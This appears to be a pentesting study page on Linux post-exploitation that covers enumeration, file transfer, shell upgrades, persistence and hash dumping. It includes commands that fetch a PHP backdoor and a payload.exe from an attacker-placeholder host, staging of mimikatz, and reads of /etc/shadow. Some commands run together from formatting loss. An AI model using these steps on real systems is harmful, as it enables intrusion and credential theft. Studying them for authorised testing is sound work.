# 5.1 Linux Post-Exploitation

## ​[Post-Exploitation](http://www.pentest-standard.org/index.php/Post_Exploitation) <a href="#post-exploitation-introduction" id="post-exploitation-introduction"></a>

🗒️ **Post-Exploitation** is the final phase of interaction with a target during a pentest. Using various attacking techniques, the pentester determines the value of the compromised system and keeps control of it for future usage, depending on the kind of access and the stealthiness he must have.It is _what the pentester does after the initial foothold_ and the techniques depends on the target characteristics (operating system, infrastructure).

* The techniques must follow the _**Rules of Engagement**_ agreed upon with the client **before the penetration test**, based on the company infrastructure and services.

> ❗**Necessary permissions are required to conduct post-exploitation techniques like modifying services, system configuration, logs deletion, perform privilege escalation.**

#### Methodology <a href="#methodology" id="methodology"></a>

1. Local Enumeration
2. Transferring Files
3. Upgrading Shells
4. Privilege Escalation
5. Persistence
6. Dumping & Cracking Hashes
7. [Pivoting](broken-reference)
8. Clearing Tracks

_The post-exploitation process repeats itself after pivoting to another new target._

## Linux Local Enumeration <a href="#linux-local-enumeration" id="linux-local-enumeration"></a>

> 📝📌 [Checklist - Linux Privilege Escalation | HackTricks](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)​​

### System Information <a href="#system-information-1" id="system-information-1"></a>

* Hostname
* Distribution & release version
* Kernel version & Architecture
* CPU information
* Disk & mounted drives
* Installed packages

```bash
# MSF Meterpreter
getuid #uid = 0 => root
sysinfo
ifconfig
netstat
route
arp
ps
pgrep vsftpd

# Linux SHELL - run 'shell' in Meterpreter
## System
/bin/bash -i
cd /root
hostname
cat /etc/*issue
cat /etc/*release #info about OS release
lsb_release -a #info about OS release
uname -a #Info about kernel and OS architecture
dpkg -l #list of all packets installed 


env
lscpu
free -h
df -h
lsblk | grep sd
```

### Users & Groups <a href="#users-and-groups-1" id="users-and-groups-1"></a>

* Current user & privileges
* Other users
* Groups

```bash
## Users
whoami
ls -lah /home
cat /etc/passwd #users and services accounts
cat /etc/passwd | grep -v /nologin #users accounts
cat /etc/passwd | grep -v /nologin | cut -d ":" -f 1 #users accounts (only names)
groups <USER>
groups root
groups
who
w
last
lastlog
```

### Network information & Services <a href="#network-information-and-services-1" id="network-information-and-services-1"></a>

* IP address & network adapter
* Internal networks and other hosts on the network
* TCP/UDP services + ports
* Running services
* Scheduled Cron Jobs

```bash
## Network
ifconfig
ip -br -c a
ip a
cat /etc/networks
cat /etc/hostname
cat /etc/hosts
cat /etc/resolv.conf
arp -a
netstat -a #shows all listening ports and established connections.
netstat -at or netstat -au #can also be used to list TCP or UDP protocols respectively.
netstat -l #list ports in “listening” mode. These ports are open and ready to accept
#incoming connections. This can be used with the “t” option to list only ports that
#are listening using the TCP protocol.
netstat -s #list network usage statistics by protocol. #This can also be used
#with the -t or -u options to limit the output to a specific protocol.
netstat -tp #list connections with the service name and PID information.
#This can also be used with the -l option to list listening ports.
netstat -i #shows interface statistics. We see below that “eth0” and “tun0” are more active than “tun1”.
netstat -ano #which could be broken down as follows: #-a: Display all sockets; n: Do not resolve names; o: Display timers
netstat -ant #list of connections with protocal, receiver, sender, local address, foreign address and state

## Services
ps
ps aux
ps aux | grep msfconsole
ps aux | grep root #root processes in execution
top
cat /etc/cron*
crontab -l #list of crontabs
```

#### Find command <a href="#automating-local-enumeration-1" id="automating-local-enumeration-1"></a>

Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is useful and worth keeping in your arsenal.

Below are some useful examples for the “find” command.

**Find files:**

* `find . -name flag1.txt`: find the file named “flag1.txt” in the current directory
* `find /home -name flag1.txt`: find the file names “flag1.txt” in the /home directory
* `find / -type d -name config`: find the directory named config under “/”
* `find / -type f -perm 0777`: find files with the 777 permissions (files readable, writable, and executable by all users)
* `find / -perm a=x`: find executable files
* `find /home -user frank`: find all files for user “frank” under “/home”
* `find / -mtime 10`: find files that were modified in the last 10 days
* `find / -atime 10`: find files that were accessed in the last 10 day
* `find / -cmin -60`: find files changed within the last hour (60 minutes)
* `find / -amin -60`: find files accesses within the last hour (60 minutes)
* `find / -size 50M`: find files with a 50 MB size

This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.

The example above returns files that are larger than 100 MB. It is important to note that the “find” command tends to generate errors which sometimes makes the output hard to read. This is why it would be wise to use the “find” command with “-type f 2>/dev/null” to redirect errors to “/dev/null” and have a cleaner output.

**Folders and files that can be written to or executed from:**

* `find / -writable -type d 2>/dev/null` : Find world-writeable folders
* `find / -perm -222 -type d 2>/dev/null`: Find world-writeable folders
* `find / -perm -o w -type d 2>/dev/null`: Find world-writeable folders

The reason we see three different “find” commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way “find” works.

* `find / -perm -o x -type d 2>/dev/null` : Find world-executable folders

**Find development tools and supported languages:**

* `find / -name perl*`
* `find / -name python*`
* `find / -name gcc*`

**Find specific file permissions:**

Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account which runs it.

This allows for an interesting privilege escalation path,we will see in more details on task 6.

The example below is given to complete the subject on the “find” command.

* `find / -perm -u=s -type f 2>/dev/null`: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.

### Automating Local Enumeration <a href="#automating-local-enumeration-1" id="automating-local-enumeration-1"></a>

The Local Enumeration process can be automated with the help of scripts and Metasploit Framework modules. It is very useful to be time efficient.**Tools**:

* ​[LinEnum - rebootuser](https://github.com/rebootuser/LinEnum)​
* ​[linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)

```bash
# Metasploit
use post/linux/gather/enum_configs
use post/linux/gather/enum_network
use post/linux/gather/enum_system
use post/linux/gather/checkvm

# LINENUM - Automatic Enumeration
cd /tmp
upload LinEnum.sh #or copy and paste github code into an .sh file
shell
/bin/bash -i
chmod +x LinEnum.sh
./LinEnum.sh
#can be useful transferring LinEnum.sh to target system (using python -m SimpleHTTPServer on attacker machine and downloading it on victim machine with wget http://target_IP:8000/LinEnum.sh) 

./LinEnum.sh -s -k <keyword> -r <report> -e /tmp/ -t
```

## Transferring Files <a href="#transferring-files" id="transferring-files"></a>

#### ​[Python Web Server](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Tools_and_setup/set_up_a_local_testing_server)​ <a href="#python-web-server" id="python-web-server"></a>

**`Python`** modules can be useful for setting up a web server that hosts the files required for transfer. These modules

* Check `Python` version

python -Vpython3 -Vpy -v # on Windows

* ​[**`SimpleHTTPServer`**](https://docs.python.org/2.7/library/simplehttpserver.html#module-SimpleHTTPServer) - `python2` module

\# If Python version returned is 2.Xpython -m SimpleHTTPServer \<PORT\_NUMBER>

* ​[**`http.server`**](https://docs.python.org/3/library/http.server.html) - `python3` module

\# If Python version is 3.Xpython3 -m http.server \<PORT># On Windows, trypython -m http.server \<PORT>py -3 -m http.server \<PORT>**`e.g.`**

* Copy a file into the current directory and setup the web server to download the file into the target system

cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .​# Python 2.7python -m SimpleHTTPServer 80​# Python 3.7python3 -m http.server 80

Files can be downloaded from a browser or using a `GET` request

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-9fda9e6cda6af72c652286651e6ce3dbd0958793%2Fimage-20230428215801961.png?alt=media" alt=""><figcaption></figcaption></figure>

After exploiting the Linux target, transfer the `php-backdoor.php` file to the target.

2 terminal sessions are necessary - use `tmux` utility to get more sessions.

​[**`tmux`**](https://github.com/tmux/tmux/wiki) - _is a program, **terminal multiplexer**, which runs in a terminal and allows multiple other terminal programs to be run inside i&#x74;_&#x73;udo apt install tmux -y# Attacker machinetmux# ... Exploitation with MSFconsole in Terminal 0 ...# CTRL+B and then C to open a new terminal session​cd /usr/share/webshells/php/ip -br -c a192.219.50.2python3 -m http.server 80# CTRL+B then 0 (zero) to navigate to the first Terminal session# Target machine/bin/bash -iwget http://192.219.50.2/php-backdoor.phpwget http://\<ATTACKER\_IP>/php-backdoor.php

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-3881bc1a643bbd134eba3dcaeed1b07ea5383ec9%2Fimage-20230428232055646.png?alt=media" alt=""><figcaption></figcaption></figure>

<details>

<summary>Transferring files to Windows</summary>

* Set up a web server to host the `payload.exe` file

\# Attacker machinecd /root/Desktop/ # payload.exe must be herepython3 -m http.server 80

* After gaining access to the Windows target system and spawned a command shell session, download the payload file on the target system using the `certutil` tool in `cmd`.

\# Windows Target machinecd C:\Tempcertutil -urlcache -f http://\<ATTACKER-IP>/payload.exe payload.exe

</details>

## Interactive Shells <a href="#interactive-shells" id="interactive-shells"></a>

> 🔬 Interactive shells techniques are covered in an INE vulnerable Lab. Commands are below, assuming the target SAMBA service is already exploited through the `exploit/linux/samba/is_known_pipename` MSF module.

* After the exploitation (using `MSFconsole`, `netcat`, etc), a **non-interactive shell** is obtained since it doesn't provide with a prompt
  * This is a command shell session

Non-interactive Shell

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-6779d49a717c21e3f41b609b3f42d87afae5543e%2Fimage-20230428234859491.png?alt=media" alt=""><figcaption></figcaption></figure>

* Display the list of **shells** on the target system

cat /etc/shells# /etc/shells: valid login shells/bin/sh/bin/dash/bin/bash/bin/rbash​/bin/bash -i​/bin/sh -i

<figure><img src="https://2946054920-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlhjuckuLbvBn36EoFL7P%2Fuploads%2Fgit-blob-1437180395d983df1ebed08f7894baa3b9ef8623%2Fimage-20230428234334800.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Spawn [TTY Shells](https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys#spawn-shells)​ <a href="#spawn-tty-shells" id="spawn-tty-shells"></a>

**Bash**

* Upgrade to a simple **`bash`** or **`sh`** session (assuming `bash` is installed on the target system)

/bin/bash -i/bin/sh -iSHELL=/bin/bash script -q /dev/null​# Setup environment variablesexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binexport TERM=xtermexport SHELL=/bin/bash

**​**[**Python**](https://docs.python.org/3/library/pty.html)**​**

* From the non-interactive shell session, check `Python` version (if present)

python --versionPython 2.7.9

* Spawn a **`bash`** session with `Python`. Specified shell must be listed inside `/etc/shells`

python -c 'import pty; pty.spawn("/bin/bash")'**Fully Interactive TTY**

* Background (`CTRL+Z`) the current remote shell
* Update the local terminal line settings with [`stty`](https://man7.org/linux/man-pages/man1/stty.1.html) and bring the remote shell back with `fg`

stty raw -echo && fg

* Reinitialize the terminal with `reset`

reset

> 📌 For more information on **Full TTY Shells** check
>
> * ​[Full TTY Shells - HackTricks](https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys)​
> * ​[Upgrade to Fully Interactive TTYs - 0xffsec](https://0xffsec.com/handbook/shells/full-tty/)​

**Perl**

perl -h

* Spawn a **`bash`** session with `Perl`.

perl -e 'exec "/bin/bash";'

## Linux Persistence <a href="#linux-persistence" id="linux-persistence"></a>

Linux Server **`SSH`** service is typically enabled and an attacker can take advantage of it.

* If password login is disabled and _**key-based authentication**_ is enabled, &#x74;_&#x68;e attacker can copy a user's `SSH` private key and use it for future access._

Linux **`Cron`** is a service that repeatedly runs **Cron jobs** that can be used for command execution at a fixed interval and ensure persistent access to the target system.

## Dumping & Cracking Hashes <a href="#dumping-and-cracking-hashes" id="dumping-and-cracking-hashes"></a>

All the Linux accounts' information is stored in the **`passwd`** file stored in `/etc/` directory.

Linux has multi-user support, this can increase the overall risk of a server.

```bash
cat /etc/passwd
```

Passwords cannot be viewed because they are **encrypted** and stored in the **`shadow`** file in the `/etc/` directory.

* 📌 Only `root` account can access `shadow` file

```bash
sudo cat /etc/shadow
```

All the Linux accounts' information is stored in the **`passwd`** file stored in `/etc/` directory.

Linux has multi-user support, this can increase the overall risk of a server.

```bash
cat /etc/passwd
```

Passwords cannot be viewed because they are **encrypted** and stored in the **`shadow`** file in the `/etc/` directory.

* 📌 Only `root` account can access `shadow` file

```bash
sudo cat /etc/shadow
```

### [Linux Password Hashes](https://www.baeldung.com/linux/shadow-passwords)

The hashed password have a prefix `$id` value that indicates the type of **hashing algorithm** that is being used, `e.g.`:

| Value | Hashing Algorithm                                                                              |
| ----- | ---------------------------------------------------------------------------------------------- |
| $1    | MD5 (easy to crack)                                                                            |
| $2    | Blowfish (easy to crack)                                                                       |
| $5    | SHA-256 (difficult to crack)                                                                   |
| $6    | [SHA-512](https://www.baeldung.com/cs/md5-vs-sha-algorithms#1-security-1) (difficult to crack) |
| $y    | [yescrypt](https://www.baeldung.com/linux/shadow-passwords)                                    |

## Cheatsheets for Pentesting

* [Windows Privilege Escalation Cheatsheet](https://dev-angelist.gitbook.io/windows-privilege-escalation/cheatsheet)
* [CRTP (Active Directory Notes) Cheatsheet](https://dev-angelist.gitbook.io/crtp-notes/crtp-cheat-sheet)
